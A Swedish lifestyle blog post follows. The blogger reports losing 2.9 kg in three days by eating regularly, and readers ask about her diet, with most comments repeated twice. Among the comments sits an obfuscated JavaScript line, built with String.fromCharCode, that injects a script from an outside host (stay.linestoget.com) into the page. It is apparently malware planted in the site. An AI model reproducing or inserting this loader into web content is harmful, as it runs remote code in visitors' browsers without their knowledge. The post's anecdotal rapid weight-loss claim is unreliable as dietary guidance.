Godmorgon! jag har precis kommit hem efter att jag lämnat Lilleman hos dagmamman, konstigt nog så sken solen över Öland, men här i Kalmar är det grått, kallt och trist…. Så nära, men ändå så långt bort!
En trött, osminkad, men väldigt glad tjej 🙂 Skulle egentligen inte lagt upp vikten förrän imorgon, Men WOW!
– 2,9kg på TRE dagar! Bara genom att äta regelbundet, (8, 12, 15, 18 ) och MER än innan, nästan dubbelt så mycket!
När man får positivt resultat så känns plötsligt frukosten helt okay 😉 Vi hörs sen min vän! Kramar My Martens
Ps ikväll kommer ett smarrigt och nyttigt recept inför fredagsmyset 😉
Hej My! Bra jobbat ? tänkte hoppa på ditt tåg men kan du inte förklara lite mer vad du äter vid dom tiderna, äter du inget godis? Hur tränar du? Och tips på hur du står ut när du är jätte sötsugen? Kram o ha de bra
Hej My! Bra jobbat 🙂 tänkte hoppa på ditt tåg men kan du inte förklara lite mer vad du äter vid dom tiderna, äter du inget godis? Hur tränar du? Och tips på hur du står ut när du är jätte sötsugen? Kram o ha de bra
Hej! Tyvärr inte, jag utvärderar det fortfarande… Men så småningom hoppas jag ? ikväll kommer ett nyttigt och gott recept som kan komna till pass inför fredagsmys ?
Hej! Tyvärr inte, jag utvärderar det fortfarande… Men så småningom hoppas jag 🙂 ikväll kommer ett nyttigt och gott recept som kan komna till pass inför fredagsmys 🙂
Hej grattis till dig som är såå duktig..Skulle vara roligt och veta hur dina måltider ser under dagen.Eftersom du går ner så fort.Jag har hållt på med olika dieter …men din verkar ju kanonbra…Hoppas på svar ..Mvh Helen
Hej grattis till dig som är såå duktig..Skulle vara roligt och veta hur dina måltider ser under dagen.Eftersom du går ner så fort.Jag har hållt på med olika dieter …men din verkar ju kanonbra…Hoppas på svar ..Mvh Helen
My Martens , Ako Rahim. Adviral Media.
d
Ako, Renata, My
var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/
fyy fan vad grymt bra!!! Heja dig!!!
Så duktig du är. Kan du inte lägga upp vad du äter till frukost, lunch, mellis och kvällsmat. Vad är det i dina morgondrinkar?
Lycka till!!
fyy fan vad grymt bra!!! Heja dig!!!
Kan du berätta hur en kostnad ser ut med vilken mar & så. ..
Försöker själv men min våg har fastnat…
Så duktig du är. Kan du inte lägga upp vad du äter till frukost, lunch, mellis och kvällsmat. Vad är det i dina morgondrinkar?
Lycka till!!
Hej My! Bra jobbat ? tänkte hoppa på ditt tåg men kan du inte förklara lite mer vad du äter vid dom tiderna, äter du inget godis? Hur tränar du? Och tips på hur du står ut när du är jätte sötsugen? Kram o ha de bra
Det hade varit kul att få ta del av din ”diet”….kämpar också som sagt och behöver en sporre!
Kan du berätta hur en kostnad ser ut med vilken mar & så. ..
Försöker själv men min våg har fastnat…
Hej My! Bra jobbat 🙂 tänkte hoppa på ditt tåg men kan du inte förklara lite mer vad du äter vid dom tiderna, äter du inget godis? Hur tränar du? Och tips på hur du står ut när du är jätte sötsugen? Kram o ha de bra
Det hade varit kul att få ta del av din ”diet”….kämpar också som sagt och behöver en sporre!
Hej. Kan du inte lägga upp dit mat schema exakt vad du äter och hur mkt. Även recept. Skulle va kul och se. ?
Hej! Tyvärr inte, jag utvärderar det fortfarande… Men så småningom hoppas jag ? ikväll kommer ett nyttigt och gott recept som kan komna till pass inför fredagsmys ?
Hej. Kan du inte lägga upp dit mat schema exakt vad du äter och hur mkt. Även recept. Skulle va kul och se. 🙂
Hej! Tyvärr inte, jag utvärderar det fortfarande… Men så småningom hoppas jag 🙂 ikväll kommer ett nyttigt och gott recept som kan komna till pass inför fredagsmys 🙂
Blir sjukt imponerad av dig!!! Jäkligt grymt gjort. Du måste ha grymt bra ämnesomsättning
Tack ? kosttillskotteb iform utav vitaminer, mineraler och grönsaker hjälper till ? jag har kass ämnesomsättning, men ska få ordning på den ? kram
Blir sjukt imponerad av dig!!! Jäkligt grymt gjort. Du måste ha grymt bra ämnesomsättning
Tack 🙂 kosttillskotteb iform utav vitaminer, mineraler och grönsaker hjälper till 😉 jag har kass ämnesomsättning, men ska få ordning på den 🙂 kram
Hej grattis till dig som är såå duktig..Skulle vara roligt och veta hur dina måltider ser under dagen.Eftersom du går ner så fort.Jag har hållt på med olika dieter …men din verkar ju kanonbra…Hoppas på svar ..Mvh Helen
Hej! Det kommer jag att tala om lite längre fram… ? jag utvärderar Det fortfarande, men så småningom så kommer jag att göra det ? kram
Hej grattis till dig som är såå duktig..Skulle vara roligt och veta hur dina måltider ser under dagen.Eftersom du går ner så fort.Jag har hållt på med olika dieter …men din verkar ju kanonbra…Hoppas på svar ..Mvh Helen
Hej! Det kommer jag att tala om lite längre fram… 🙂 jag utvärderar Det fortfarande, men så småningom så kommer jag att göra det 🙂 kram